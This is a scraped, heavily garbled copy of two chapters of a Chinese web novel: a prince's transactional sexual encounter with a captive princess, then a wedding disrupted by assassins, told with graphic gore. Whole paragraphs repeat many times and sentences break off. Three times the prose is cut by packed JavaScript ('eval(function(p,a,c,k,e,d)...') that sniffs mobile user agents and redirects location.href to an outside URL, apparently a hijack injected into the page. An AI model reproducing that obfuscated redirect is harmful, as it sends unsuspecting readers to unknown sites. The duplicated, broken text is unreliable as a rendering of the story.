“放过楚国吧,我愿意做任何事情。” 林臻的心中一阵悸动,他看着楚惜灵,一时竟不知道该如何回答。 就在他犹豫之际,楚惜灵突然向前一步,踮起脚尖,轻轻地吻在了林臻的唇上。 这个突如其来的举动,让林臻瞬间僵在了原地,脸上露出一丝尴尬的神色。 双手下意识地想要抬起,却又不知道该放在哪里,整个人显得有些手足无措。 楚惜灵闭上眼睛,泪水从她的眼角滑落,嘴唇微微颤抖着,轻声说道:“我把最好的我送给你,你放过楚国,好不好?” 她的声音带着一丝哽咽,在这寂静的雪地里,显得格外动人。 林臻犹豫了许久,最终,他还是坚定地摇了摇头。 “为了国家的利益,请原谅我不能答应你。” 听到林臻的拒绝,楚惜灵身体猛地一震。 她缓缓睁开眼睛,眼中的光芒瞬间黯淡下去。 就在她万念俱灰的时候,林臻却说道:“但为了你,我可以放过你的家人。” 楚惜灵猛然一个目光投射过来。 两人就这样静静地站在雪地里,彼此对视着,周围的世界仿佛都已经消失不见。 也不知过了多久,楚惜灵突然再次走过来,递上火热的双唇。 在亲吻前,林臻听到她说了一句。 谢谢。 跟在他们身后。 走出城门,眼前的景色愈发美丽。 城外是一片白茫茫的原野,远处的山峦也被白雪覆盖,与天空连成一片,分不清哪里是山,哪里是天。 雪后的阳光洒在雪地上,反射出耀眼的光芒,刺得人眼睛生疼。 楚惜灵在一片空旷的雪地上停下了脚步,她转过身,静静地看着林臻。 阳光洒在她的身上,勾勒出她纤细的身影。 此刻的她,美得如同画中的仙子,却又带着一丝令人心碎的哀伤。 “放过楚国吧,我愿意做任何事情。” 林臻的心中一阵悸动,他看着楚惜灵,一时竟不知道该如何回答。 就在他犹豫之际,楚惜灵突然向前一步,踮起脚尖,轻轻地吻在了林臻的唇上。 这个突如其来的举动,让林臻瞬间僵在了原地,脸上露出一丝尴尬的神色。 双手下意识地想要抬起,却又不知道该放在哪里,整个人显得有些手足无措。 楚惜灵闭上眼睛,泪水从她的眼角滑落,嘴唇微微颤抖着,轻声说道:“我把最好的我送给你,你放过楚国,好不好?” 她的声音带着一丝哽咽,在这寂静的雪地里,显得格外动人。 林臻犹豫了许久,最终,他还是坚定地摇了摇头。 “为了国家的利益,请原谅我不能答应你。” 听到林臻的拒绝,楚惜灵身体猛地一震。 她缓缓睁开眼睛,眼中的光芒瞬间黯淡下去。 就在她万念俱灰的时候,林臻却说道:“但为了你,我可以放过你的家人。” 楚惜灵猛然一个目光投射过来。 两人就这样静静地站在雪地里,彼此对视着,周围的世界仿佛都已经消失不见。 也不知过了多久,楚惜灵突然再次走过来,递上火热的双唇。 在亲吻前,林臻听到她说了一句。 谢谢。 跟在他们身后。 走出城门,眼前的景色愈发美丽。 城外是一片白茫茫的原野,远处的山峦也被白雪覆盖,与天空连成一片,分不清哪里是山,哪里是天。 雪后的阳光洒在雪地上,反射出耀眼的光芒,刺得人眼睛生疼。 楚惜灵在一片空旷的雪地上停下了脚步,她转过身,静静地看着林臻。 阳光洒在她的身上,勾勒出她纤细的身影。 此刻的她,美得如同画中的仙子,却又带着一丝令人心碎的哀伤。 “放过楚国吧,我愿意做任何事情。” 林臻的心中一阵悸动,他看着楚惜灵,一时竟不知道该如何回答。 就在他犹豫之际,楚惜灵突然向前一步,踮起脚尖,轻轻地吻在了林臻的唇上。 这个突如其来的举动,让林臻瞬间僵在了原地,脸上露出一丝尴尬的神色。 双手下意识地想要抬起,却又不知道该放在哪里,整个人显得有些手足无措。 楚惜灵闭上眼睛,泪水从她的眼角滑落,嘴唇微微颤抖着,轻声说道:“我把最好的我送给你,你放过楚国,好不好?” 她的声音带着一丝哽咽,在这寂静的雪地里,显得格外动人。 林臻犹豫了许久,最终,他还是坚定地摇了摇头。 “为了国家的利益,请原谅我不能答应你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两人就这样静静地站在雪地里,彼此对视着,周围的世界仿佛都已经消失不见。 也不知过了多久,楚惜灵突然再次走过来,递上火热的双唇。 在亲吻前,林臻听到她说了一句。 谢谢。 跟在他们身后。 走出城门,眼前的景色愈发美丽。 城外是一片白茫茫的原野,远处的山峦也被白雪覆盖,与天空连成一片,分不清哪里是山,哪里是天。 雪后的阳光洒在雪地上,反射出耀眼的光芒,刺得人眼睛生疼。 楚惜灵在一片空旷的雪地上停下了脚步,她转过身,静静地看着林臻。 阳光洒在她的身上,勾勒出她纤细的身影。 此刻的她,美得如同画中的仙子,却又带着一丝令人心碎的哀伤。 “放过楚国吧,我愿意做任何事情。” 林臻的心中一阵悸动,他看着楚惜灵,一时竟不知道该如何回答。 就在他犹豫之际,楚惜灵突然向前一步,踮起脚尖,轻轻地吻在了林臻的唇上。 这个突如其来的举动,让林臻瞬间僵在了原地,脸上露出一丝尴尬的神色。 双手下意识地想要抬起,却又不知道该放在哪里,整个人显得有些手足无措。 楚惜灵闭上眼睛,泪水从她的眼角滑落,嘴唇微微颤抖着,轻声说道:“我把最好的我送给你,你放过楚国,好不好?” 她的声音带着一丝哽咽,在这寂静的雪地里,显得格外动人。 林臻犹豫了许久,最终,他还是坚定地摇了摇头。 “为了国家的利益,请原谅我不能答应你。” 听到林臻的拒绝,楚惜灵身体猛地一震。 她缓缓睁开眼睛,眼中的光芒瞬间黯淡下去。 就在她万念俱灰的时候,林臻却说道:“但为了你,我可以放过你的家人。” 楚惜灵猛然一个目光投射过来。 两人就这样静静地站在雪地里,彼此对视着,周围的世界仿佛都已经消失不见。 也不知过了多久,楚惜灵突然再次走过来,递上火热的双唇。 在亲吻前,林臻听到她说了一句。 谢谢。 跟在他们身后。 走出城门,眼前的景色愈发美丽。 城外是一片白茫茫的原野,远处的山峦也被白雪覆盖,与天空连成一片,分不清哪里是山,哪里是天。 雪后的阳光洒在雪地上,反射出耀眼的光芒,刺得人眼睛生疼。 楚惜灵在一片空旷的雪地上停下了脚步,她转过身,静静地看着林臻。 阳光洒在她的身上,勾勒出她纤细的身影。 此刻的她,美得如同画中的仙子,却又带着一丝令人心碎的哀伤。 “放过楚国吧,我愿意做任何事情。” 林臻的心中一阵悸动,他看着楚惜灵,一时竟不知道该如何回答。 就在他犹豫之际,楚惜灵突然向前一步,踮起脚尖,轻轻地吻在了林臻的唇上。 这个突如其来的举动,让林臻瞬间僵在了原地,脸上露出一丝尴尬的神色。 双手下意识地想要抬起,却又不知道该放在哪里,整个人显得有些手足无措。 楚惜灵闭上眼睛,泪水从她的眼角滑落,嘴唇微微颤抖着,轻声说道:“我把最好的我送给你,你放过楚国,好不好?” 她的声音带着一丝哽咽,在这寂静的雪地里,显得格外动人。 林臻犹豫了许久,最终,他还是坚定地摇了摇头。 “为了国家的利益,请原谅我不能答应你。” 听到林臻的拒绝,楚惜灵身体猛地一震。 她缓缓睁开眼睛,眼中的光芒瞬间黯淡下去。 就在她万念俱灰的时候,林臻却说道:“但为了你,我可以放过你的家人。” 楚惜灵猛然一个目光投射过来。 两人就这样静静地站在雪地里,彼此对视着,周围的世界仿佛都已经消失不见。 也不知过了多久,楚惜灵突然再次走过来,递上火热的双唇。 在亲吻前,林臻听到她说了一句。 谢谢。 第334章 不就是接个吻么。 天为被,地为床,一片雪花照大江。 面对楚惜灵那颤抖的,带着泪水咸味的红唇,林臻并没有拒绝。 他不知道自己对楚惜灵是一种什么感觉。 说喜欢呢?谈不上,应该是见色起意更为恰当。 但要是纯见色起意,又不太像,因为林臻对她确实有一股说不清道不明的感觉。 可能还是当初立下的誓言在作祟吧。 林臻曾发誓要夺走顾北辰的全部气运,而楚惜灵就是其中之一。 所以对她,林臻是很渴求的。 楚惜灵根本就没接过吻,也不知道接吻是什么感觉,然而这突如其来的一下让她有了瞬间的失神,身体仿佛被定格在那里,动也不动,单纯享受着林臻呼出来的气息。 韩忠和黄鼠见状,赶紧撇过头去。 哥俩往地上一蹲,韩忠幽幽叹道:“唉,恐怕又得等几个时辰了。” 黄鼠问道:“世子该不会错过芦小公爷的婚宴吧?” “应该不会,世子知道分寸。” “是知道分寸还是知道长短啊?” “你这小子!” “嘿嘿嘿嘿~” 场中,林臻瞪着眼睛看向楚惜灵那呆愣愣的目光,顿时绝对有些好笑。 不就是接吻么。 至于那么新奇,那么惊讶? 既如此,那我就得教教你了。 只见林臻悄然将舌头伸进楚惜灵的口中,与她的舌头开始追逐打闹。 这是楚惜灵的初吻,没什么经验,一时间难以抵挡林臻的攻势,被杀得溃不成军,香津横流。就在她感觉自己快要喘不上气而窒息的时候,林臻恰到好处地停止,松开嘴,淡笑着看她不断大喘气的模样。 “好吃么?” 楚惜灵别过头:“一般。” “那再尝尝这个。” 林臻把楚惜灵的狐裘解开,扔在地上当垫子,随即一把将楚惜灵推倒。 在天地自然的见证下,又有一个女孩成功蜕变。 太阳落山,林臻帮楚惜灵穿好衣服,最后握住她的手。 “你不后悔?” 楚惜灵手上的动作一顿,随即摇摇头:“只要你按照约定,不要为难我父皇就好。” “原来是交易啊。” “那你以为是什么?以为我爱上你了吗?呵。”楚惜灵的冷笑有些牵强,甚至在林臻看来有些违心。 他也不戳破,说道:“我保证你的父母可以寿终正寝。” “谢谢。” “你我之间又何谈谢谢?不如亲一口来得实在。” 楚惜灵翻个白眼:“我刚刚给你那个你就不嫌弃?” “哈哈哈哈,说实话,我嫌弃。很嫌弃!”言罢林臻拉着楚惜灵的手走向城内。 也是在这个时候,楚惜灵脸上终于绽放出会心的笑容。 她赢了。 苗疆巫医送来的噬心蛊,在经历了这么多年后,终于种下了。 摄政王府内,张灯结彩,红绸飘舞,宛如一片喜庆的海洋。 侯玲端坐在雕花梨木梳妆台之前,身姿如松,仪态万千,那一身凤冠霞帔虽未出阁便已压得肩头微沉,心中满是对未来生活的憧憬,眼眸中闪烁着熠熠光芒,仿若藏着繁星。 浣碧站在她身后,手中执着一支羊脂玉簪,正精心为她挽起如云发髻,每一个动作都轻柔又娴熟,口中还念念有词:“玲儿妹妹今日可真是美极了,果然还是芦小公爷慧眼识人。” 晴雯是个喜欢热闹的主,根本闲不住。 她的肚子越来越大,却非要来闺房里帮忙,此时像只忙碌的小蜜蜂般穿梭在屋内,一会儿整理床铺,将那鸳鸯锦被叠得方方正正;一会儿又检查妆奁,确保各类首饰珍宝一件不少,事事都要尽善尽美。 她时不时的抬眼看向侯玲,见她眉眼含笑,幸福无比,心底忽地涌起一阵感慨,不禁停下手中动作,轻轻叹了口气:“唉,也不知道夫君会不会也给我们一个盛大的婚礼。” 她自知身份低微,以前虽然大胆敢说,但与林臻之间终究是隔着一道天堑。 浣碧听见,手下动作一顿,扭头嗔怪道:“死晴雯,今日是玲儿的大喜日子,莫说这些酸溜溜的话!我们都是丫鬟,出身低微,如今能陪着夫君已经是上天眷顾,要求那么多做什么。” “是是是,就你清高好了吧?诶诶,这簪子不能这么插进去!” 说着晴雯也走过来帮忙一起弄侯玲的头发。 这可是最近这几年王府里最大的喜事,大家都很高兴。 这时浣碧从袖中摸出一根细长银针,眼中闪过一丝不易察觉的狠厉,趁侯玲不备,猛地扎入她的后脊梁骨。 “啊!”侯玲顿觉后背一阵刺痛,仿若有火灼烧,疼得她惊呼出声。 随即她紧咬下唇,硬是将那声痛呼咽了回去,回头问道:“浣碧姐姐,你这是干什么?”只 浣碧神色温婉,轻声解释:“玲儿妹妹,你可莫怪姐姐心狠,这是给新婚媳妇立规矩的。咱们寻常人家嫁女都有这 一出,今日我先帮你扎上,等到了国公府再拔下来。否则就要让你婆婆亲自动手了。 侯玲微微点头,声音略带颤抖却透着坚定:“嗯!多谢浣碧姐姐,你扎吧,玲儿不疼! 与此同时,房间外亦是热闹非凡。 新郎芦德豪身着大红色锦袍,金线绣成的麒麟栩栩如生,头戴乌纱帽,帽上红缨垂落,愈发衬得他面如冠玉,人模狗样。 他满心欢喜,脚步急切,身后跟着一众迎亲队伍,吹吹打打地来到王府门前,刚要抬脚进门,却见眼前一花,四个女子娉娉婷婷地拦住去路。 张俪身姿婀娜,手中折扇轻摇,扇面上墨竹摇曳生姿,笑语嫣然:“新郎官,想接走我们家玲儿可没那么容易,红包拿来! 月妩站在一旁,一袭月白长裙,腰肢纤细,柔媚一笑,附和道:“就是,这红包少了,可别想进门。 青霞仙子则清冷如霜,目光灼灼,虽未言语,可那架势分明也是不拿到红包不罢休。 刘妙颜最为活泼,穿着劲装,手中攥着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15120572|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根大木棒,在空中晃了晃,不怀好意地道:“快些快些,别误了吉时! “哈哈哈哈!芦德豪见此哈哈大笑,“嫂子们放心,你们的红包早就准备好了! 言罢他朝身后伴郎使了个眼色,伴郎们会意,忙不迭地掏出红包,一一递上前去。 张俪等人接过,假意翻看,挑眉道:“堂堂国公之子,出手这么寒酸? 芦德豪无奈,又命人添了几封,这才见四人神色稍缓。 可还未等他松口气,刘妙颜突然发难,大棒一挥,“砰的一声闷响,结结实实地敲在芦德豪小腿骨上。 芦德豪疼得“嗷一嗓子,原地乱跳,叫道:“嫂子,你这是干什么啊!疼死我了!! “废话,谁家女婿迎亲不得挨顿打?你忍着点,我打几下就够! “别别别! 刘妙颜狞笑着,都快把芦德豪吓哭了,他忙解释道:“嫂子,你冷静点!要挨打的是新郎的好兄弟,不是打新郎官啊!! “嘎?刘妙颜俏脸瞬间涨红,尴尬地吐了吐舌头,忙将棒子扔到一边,随后满脸怒意地看着青霞仙子,“青霞,你他妈骗我! “哈哈哈哈哈哈。青霞仙子终于爆发出铃铛般悦耳的笑声。 却见刘妙颜一脚踢向他的小腹:“我让你笑! “呔!青霞仙子连忙躲开,像保护生命那样护住肚子,“男人婆你想死啊?敢踢我儿子! “好了好 了别闹了,一会误了时辰!”张俪忙劝架,刘妙颜和青霞仙子各冷哼一声,别过头去。 屋内侯玲听得外面动静,嘴角也泛起一抹浅笑。 这时,房门被轻轻推开,侯玲的哥哥侯春大步走进来。 这小子本来长得就帅,如今为了妹妹,又特意穿了一身崭新的藏青色锦袍,更显英气逼人。 他走到侯玲面前,蹲下身子,柔声道:“玲儿,哥哥背你上花轿。” 侯玲眼眶微红,轻轻伏在侯春背上,双手环住他脖颈。 侯春稳稳起身,一步步向外走去。 跨出门槛那瞬,阳光洒在兄妹二人身上,仿若镀上一层金边。 芦德豪瞧见,忙整理衣冠,上前几步,“扑通”一声跪地,恭恭敬敬地磕了三个响头,朗声道:“大舅哥,往后我定善待玲儿,若有半分差池,天打雷劈!” 侯春目光深沉,凝视他片刻,微微点头。 侯玲被轻轻放上花轿,轿帘落下,隔绝了内外视线。 她坐在轿中,手抚着胸口,心跳如鼓。 透过轿帘缝隙,她瞧见外面人来人往,热闹喧嚣,心中的幸福更是无法形容。 迎亲队伍浩浩荡荡启程,唢呐锣鼓声震得人耳鼓生疼。一路上,百姓们纷纷驻足围观,指指点点,啧啧称奇。 芦德豪骑着高头大马,走在队伍最前头,身姿挺拔,意气风发,时不时回头望向花轿,眼中满是柔情蜜意。 行至半途,忽地一阵狂风呼啸而过,吹得旗帜猎猎作响,黄沙漫天。 马匹受惊,长嘶不已,队伍瞬间有些慌乱。 第335章 婚礼风波 芦德豪忙勒紧缰绳,朝四周看去。 侯玲在轿内也颠簸得险些撞到头,她抬手扶住轿壁,心中涌起一丝不安。 就在此时,巷子里黑影一闪,数道身影如鬼魅般疾掠而出,直扑花轿。 芦德豪做梦也想不到居然还有人会暗杀自己。 我就喜欢嫖嫖娼,可没像林臻似的杀人爹妈啊! “保护花轿!” 护卫们迅速反应,围成一圈。 眼见那数道黑影如恶狼扑食般直逼花轿,刘妙颜凤目圆睁,眸中闪过一抹决然。 就在一名黑衣人持刀砍向她的瞬间,她身形矫健如燕,侧身一闪,以毫厘之差避开那凌厉刀锋,同时素手疾伸,如闪电般精准地扣住黑衣人的手腕,用力一拧。 黑衣人吃痛,五指松开,大刀“哐当”一声落地。 刘妙颜顺势一个下蹲,抄起大刀,反手便是一记凌厉横斩。 巨大的力量将黑衣人的腰硬生生砍断,上半身与下半身分离,躺倒地上痛苦嚎叫。 这大刀入手,沉甸甸的分量让刘妙颜心中涌起一股豪情,她柳眉倒竖,娇叱道:“青霞,你保护姐妹们,这些人交给我!” 青霞仙子本来也不想怀孕的时候杀人,微微点头,将张俪月妩等人的轿子护在后面。 刘妙颜提着刀大喝一声:“哼,敢扰王府的婚礼,找死!” 言罢,手中大刀在她的舞动下虎虎生风。 她身姿灵动,左冲右突,每一刀挥出都带着千钧之力,没有人能在她手下走过一个回合。、 那把大刀在她手中似有了生命,或劈或砍,或挑或刺,刀风呼啸,所到之处,黑衣人纷纷避让。 此刻,一名身形高大的黑衣人瞅准刘妙颜招式用老的间隙,猛地从侧面扑来,手中长刀高高举起,妄图给她致命一击。 刘妙颜余光瞥见,却不慌不忙,一个旱地拔葱高高跃起,在空中划过一道优美弧线,避开攻击的同时,借着下落之势,双手紧握大刀,汇聚全身力气,自上而下,雷霆万钧般劈向那高大黑衣人。 只听“咔嚓”一声令人毛骨悚然的声响,大刀仿若切豆腐般,将那黑衣人从头顶至胯下,一分为二。 鲜血如喷泉般四溅,内脏器官散落一地,血腥之气瞬间弥漫开来。 刘妙颜却仿若未闻未见,眼神愈发冷峻,提着滴血大刀继续冲向敌群。 此时,已有两名黑衣人妄图绕过刘妙颜,偷袭花轿中的侯玲。 青霞仙子怎会容他们得逞,她莲步 轻移,双手如灵蛇般探出,在两名黑衣人的刀身之上轻轻一点,黑衣人只觉一股大力传来,手臂酸麻,手中长刀竟拿捏不住,脱手飞出。 还未等他们反应过来,青霞仙子的手已如幻影般锁住他们的咽喉,稍一用力,黑衣人便脸色涨红,呼吸困难。 “找死!”青霞仙子清冷的声音响起,她将这两名黑衣人随手一甩,二人便像破布袋般远远摔开。 与此同时,又有几个黑衣人见势不妙,相互对视一眼,试图合攻刘妙颜。他们身形交错,刀光闪烁,竟将刘妙颜的攻势抵挡了片刻。 其中一人高喊道:“点子扎手,速战速决!” 说罢,他们攻势愈发凌厉,刀风呼啸,直逼刘妙颜要害。 然而被称为巾帼英雄的刘妙颜其实他们能伤到的? 她银牙一咬,拼尽全力,将大刀高高举起,汇聚全身力气,朝着阵眼处的黑衣人劈去。 “砰”的一声巨响,那黑衣人虽用刀格挡,却也被这股大力震得虎口发麻,后退数步。 黑衣人见势不妙,相互对视一眼,似有默契地改变战术。 数人合力,施展出一套诡异的合击阵法,他们身形交错,刀光闪烁,竟将刘妙颜攻势抵挡了片刻。 最后有人喊道:“快跑!” “想跑?没那么容易!”青霞仙子怎会允许这群人溜走呢? 他是杀手组织的首脑,结果今天被刺杀。 这不是关公门前耍大刀吗?这不是在太岁头上动土么? 只见她身形虚晃,素手一伸,揪住其中一人的后脖颈用力一拉,将其狠狠摔在地上。 “抓起来!等世子回来好好拷问!” “是!”护卫都被这两个女人惊呆了,连忙跑过来帮忙。 刘妙颜拄着大刀,大口喘着粗气,走到青霞仙子身旁,咧嘴笑道:“有两下子,看来之前我们对打的时候你没用全力啊。” 青霞仙子一挑眉:“狮子打狗,能用全力么?” “你踏马的.” “好了好了,你们俩真是一会儿不吵都不行。”张俪从轿子上下来,也有些惊魂未定。 这表面上平静的京城竟突然出现这么多杀手,真是够吓人的。 “青霞,你有没有什么头绪?到底是什么人想杀侯玲?” 青霞仙子摇了摇头。 刘妙颜走上前,拍了拍胸口,喘着气道:“今日这是怎么回事?哪来的这些家伙,敢在大喜日子捣乱!” 张俪皱眉,思索道:“看他们身 手,不像是普通毛贼,倒像是有组织有预谋,难不成是冲着玲儿和国公府来的?” “不应该吧?勋国公在京城应该没什么仇人才对啊。” 张俪目光笃定的道:“那就是冲着王府来的。” 众人心中皆是一沉。 看来,夫君又惹到什么仇人了呢。 这时轿子里,芦德豪把侯玲死死搂在怀中,见黑衣人被两位嫂子打跑,这才关切地问怀里的侯玲:“玲儿,你没事吧?” 侯玲摇头,眼中仍有惊惶:“我没事,多谢相公。” 芦德豪轻轻握住她手,安慰道:“别怕,有我在。” 有你在? 你这样的废物在不在有什么区别? 芦德豪装完逼就走出花轿,来到刘妙颜和青霞仙子面前,抱拳行礼道:“多谢两位嫂嫂出手相助!” 刘妙颜擦了擦衣服上的血,笑道:“我说新郎官,你这是惹到谁了呀?在大街上就敢刺杀你。” “额我没惹任何人啊,除了胖子!” “净说那没用的,赶紧起轿,一会儿误了时辰没法解释。” “是是是。” 芦德豪重新整顿队伍,继续上路。 不多时,国公府大门映入眼帘。 那朱漆大门巍峨耸立,门上铜钉闪耀,两侧石狮子威风凛凛。 门前列着一众家仆,个个衣着整齐,神情肃穆。 见迎亲队伍到来,鞭炮齐鸣,鼓乐喧天。 芦德豪下马,走到花轿前,牵起侯玲的手,跨过火盆,步入府中。 府内庭院深深,回廊曲折,处处张灯结彩,宾客们欢声笑语,纷纷投来祝福目光。 侯玲却无暇顾及这些,紧紧跟在芦德豪身后,手心满是汗水,心中暗自忐忑,不知等待她的会是怎样的公婆,怎样的刁难。 行至正厅,芦步亭端坐上位,神情威严,目光如炬,虽未言语,却自有一股威压散发。 老妻严氏嘴角含笑,看侯玲是怎么看怎么喜欢。 在他们身边,还有一位。 林臻。 他今天是代表侯玲娘家人来的。 侯玲与芦德豪上前跪地,行了三跪九叩大礼。 严氏轻咳一声,开口道:“起身吧。儿媳啊,进了国公府,便要守我府中规矩,相夫教子,孝顺公婆,切不可有半分差池,明白吗?” 侯玲垂首,恭敬应道:“儿媳明白,定当谨遵婆婆教诲。” 严氏微微点头,又叮嘱了几句,这才让二人起身。 芦步亭没什么说的,他最喜欢的就是芦德豪,但同样最对不起的也是他。 因为他的官职和爵位不会传给芦德豪,但他也很庆幸,因为儿子与世子的关系特别好。 以后就算没有爵位,也必定是飞黄腾达。 此刻小老头满脸笑意,频频捋着胡子。 林臻见大家都看着自己,想来也是应该说两句,于是说道:“臭小子,这么漂亮的姑娘真是便宜你了!” “哈哈哈哈哈!” 四周宾朋开怀大笑。 芦德豪也老脸一红地摸了摸后脑勺,又幸福又羞涩。 林臻继续说道:“以后好好对待玲儿姑娘,早点生个大胖小子出来,给我们玩玩!是不是啊!” “是啊!” “哈哈哈哈哈!” 这时有国公府的丫鬟端着一碗生馄饨过来,盛出一个来递到侯玲嘴边。 侯玲不懂什么意思,就吃了下去,谁知道居然是生的! 这时林臻问道:“生不生!” “生!!” “哈哈哈哈哈。” 一场欢闹过后,便是婚宴,宾客们入席,推杯换盏,热闹非凡。 侯玲则是被送入洞房。 芦德豪的狐朋狗友们一个劲儿地灌他酒,很快芦德豪就喝了迷迷糊糊直打摆子。 偷摸扶着林臻的肩膀吐了两回。 沾满污垢的手直接摸在林臻衣服上,把林臻恶心坏了。 “你别乱摸。” “大哥.嗝!!谢谢谢你!” “谢我什么?” “我我也不知道谢你什么.反正嗝!就是谢谢你.哕!!!”芦德豪直打酒嗝,说着说着又吐了。 这也就是林臻不嫌弃他,若是换了胖子,早一嘴巴抽过去了。 说曹操,曹操就到。 胖子的大嗓门终于在门外喊了起来。 “他奶奶的,一群狗蛋破落户,没你胖爷也敢开局!?拿酒来!” 芦步亭没什么说的,他最喜欢的就是芦德豪,但同样最对不起的也是他。 因为他的官职和爵位不会传给芦德豪,但他也很庆幸,因为儿子与世子的关系特别好。 以后就算没有爵位,也必定是飞黄腾达。 此刻小老头满脸笑意,频频捋着胡子。 林臻见大家都看着自己,想来也是应该说两句,于是说道:“臭小子,这么漂亮的姑娘真是便宜你了!” “哈哈哈哈哈!” 四周宾朋开怀大笑。 芦德豪也老脸一红地摸了摸后脑勺,又幸福又羞涩。 林臻继续说道:“以后好好对待玲儿姑娘,早点生个大胖小子出来,给我们玩玩!是不是啊!” “是啊!” “哈哈哈哈哈!” 这时有国公府的丫鬟端着一碗生馄饨过来,盛出一个来递到侯玲嘴边。 侯玲不懂什么意思,就吃了下去,谁知道居然是生的! 这时林臻问道:“生不生!” “生!!” “哈哈哈哈哈。” 一场欢闹过后,便是婚宴,宾客们入席,推杯换盏,热闹非凡。 侯玲则是被送入洞房。 芦德豪的狐朋狗友们一个劲儿地灌他酒,很快芦德豪就喝了迷迷糊糊直打摆子。 偷摸扶着林臻的肩膀吐了两回。 沾满污垢的手直接摸在林臻衣服上,把林臻恶心坏了。 “你别乱摸。” “大哥.嗝!!谢谢谢你!” “谢我什么?” “我我也不知道谢你什么.反正嗝!就是谢谢你.哕!!!”芦德豪直打酒嗝,说着说着又吐了。 这也就是林臻不嫌弃他,若是换了胖子,早一嘴巴抽过去了。 说曹操,曹操就到。 胖子的大嗓门终于在门外喊了起来。 “他奶奶的,一群狗蛋破落户,没你胖爷也敢开局!?拿酒来!” 芦步亭没什么说的,他最喜欢的就是芦德豪,但同样最对不起的也是他。 因为他的官职和爵位不会传给芦德豪,但他也很庆幸,因为儿子与世子的关系特别好。 以后就算没有爵位,也必定是飞黄腾达。 此刻小老头满脸笑意,频频捋着胡子。 林臻见大家都看着自己,想来也是应该说两句,于是说道:“臭小子,这么漂亮的姑娘真是便宜你了!” “哈哈哈哈哈!” 四周宾朋开怀大笑。 芦德豪也老脸一红地摸了摸后脑勺,又幸福又羞涩。 林臻继续说道:“以后好好对待玲儿姑娘,早点生个大胖小子出来,给我们玩玩!是不是啊!” “是啊!” “哈哈哈哈哈!” 这时有国公府的丫鬟端着一碗生馄饨过来,盛出一个来递到侯玲嘴边。 侯玲不懂什么意思,就吃了下去,谁知道居然是生的! 这时林臻问道:“生不生!” “生!!” “哈哈哈哈哈。” 一场欢闹过后,便是婚宴,宾客们入席,推杯换盏,热闹非凡。 侯玲则是被送入洞房。 芦德豪的狐朋狗友们一个劲儿地灌他酒,很快芦德豪就喝了迷迷糊糊直打摆子。 偷摸扶着林臻的肩膀吐了两回。 沾满污垢的手直接摸在林臻衣服上,把林臻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15120573|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恶心坏了。 “你别乱摸。” “大哥.嗝!!谢谢谢你!” “谢我什么?” “我我也不知道谢你什么.反正嗝!就是谢谢你.哕!!!”芦德豪直打酒嗝,说着说着又吐了。 这也就是林臻不嫌弃他,若是换了胖子,早一嘴巴抽过去了。 说曹操,曹操就到。 胖子的大嗓门终于在门外喊了起来。 “他奶奶的,一群狗蛋破落户,没你胖爷也敢开局!?拿酒来!” 芦步亭没什么说的,他最喜欢的就是芦德豪,但同样最对不起的也是他。 因为他的官职和爵位不会传给芦德豪,但他也很庆幸,因为儿子与世子的关系特别好。 以后就算没有爵位,也必定是飞黄腾达。 此刻小老头满脸笑意,频频捋着胡子。 林臻见大家都看着自己,想来也是应该说两句,于是说道:“臭小子,这么漂亮的姑娘真是便宜你了!” “哈哈哈哈哈!” 四周宾朋开怀大笑。 芦德豪也老脸一红地摸了摸后脑勺,又幸福又羞涩。 林臻继续说道:“以后好好对待玲儿姑娘,早点生个大胖小子出来,给我们玩玩!是不是啊!” “是啊!” “哈哈哈哈哈!” 这时有国公府的丫鬟端着一碗生馄饨过来,盛出一个来递到侯玲嘴边。 侯玲不懂什么意思,就吃了下去,谁知道居然是生的! 这时林臻问道:“生不生!” “生!!” “哈哈哈哈哈。” 一场欢闹过后,便是婚宴,宾客们入席,推杯换盏,热闹非凡。 侯玲则是被送入洞房。 芦德豪的狐朋狗友们一个劲儿地灌他酒,很快芦德豪就喝了迷迷糊糊直打摆子。 偷摸扶着林臻的肩膀吐了两回。 沾满污垢的手直接摸在林臻衣服上,把林臻恶心坏了。 “你别乱摸。” “大哥.嗝!!谢谢谢你!” “谢我什么?” “我我也不知道谢你什么.反正嗝!就是谢谢你.哕!!!”芦德豪直打酒嗝,说着说着又吐了。 这也就是林臻不嫌弃他,若是换了胖子,早一嘴巴抽过去了。 说曹操,曹操就到。 胖子的大嗓门终于在门外喊了起来。 “他奶奶的,一群狗蛋破落户,没你胖爷也敢开局!?拿酒来!” 芦步亭没什么说的,他最喜欢的就是芦德豪,但同样最对不起的也是他。 因为他的官职和爵位不会传给芦德豪,但他也很庆幸,因为儿子与世子的关系特别好。 以后就算没有爵位,也必定是飞黄腾达。 此刻小老头满脸笑意,频频捋着胡子。 林臻见大家都看着自己,想来也是应该说两句,于是说道:“臭小子,这么漂亮的姑娘真是便宜你了!” “哈哈哈哈哈!” 四周宾朋开怀大笑。 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这也就是林臻不嫌弃他,若是换了胖子,早一嘴巴抽过去了。 